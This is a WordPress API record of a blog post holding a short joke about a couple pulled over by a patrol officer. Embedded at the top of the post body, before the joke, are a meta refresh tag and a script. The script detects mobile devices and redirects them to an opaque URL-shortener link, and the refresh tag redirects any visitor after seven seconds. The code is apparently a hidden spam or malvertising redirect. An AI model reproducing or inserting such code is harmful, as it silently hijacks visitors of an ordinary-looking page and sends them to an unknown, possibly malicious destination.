{"id":21597,"date":"2026-02-11T23:57:54","date_gmt":"2026-02-11T23:57:54","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=21597"},"modified":"2026-02-11T23:57:54","modified_gmt":"2026-02-11T23:57:54","slug":"a-man-and-his-wife-were-traveling","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=21597","title":{"rendered":"A man and his wife were traveling"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\nA man and his wife were traveling down the highway when they saw the lights of a patrol car behind them.<\/p>\n<p>When they pulled over, the patrol man came up to the window and said,<br \/>\n\u201cI am going to give you two tickets. One because you were speeding and one because you didn\u2019t have your seat belt fastened.\u201d<\/p>\n<p>The man said, \u201cI did too have my seat belt fastened. I just loosened it when you came up to the car.\u201d<br \/>\nThe Patrol Man said to the man\u2019s wife, \u201cI know he didn\u2019t have his seatbelt fastened. Isn\u2019t that right, lady?\u201d<\/p>\n<p>She replied,<br \/>\n\u201cWell, officer.<br \/>\nI learned a long time ago not to argue with my husband when he\u2019s drunk<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A man and his wife were traveling down the highway when they saw the lights of a patrol car behind them. When they pulled over, the patrol&#8230; <\/p>\n","protected":false},"author":1,"featured_media":21598,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-21597","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/21597","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21597"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/21597\/revisions"}],"predecessor-version":[{"id":21599,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/21597\/revisions\/21599"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/media\/21598"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}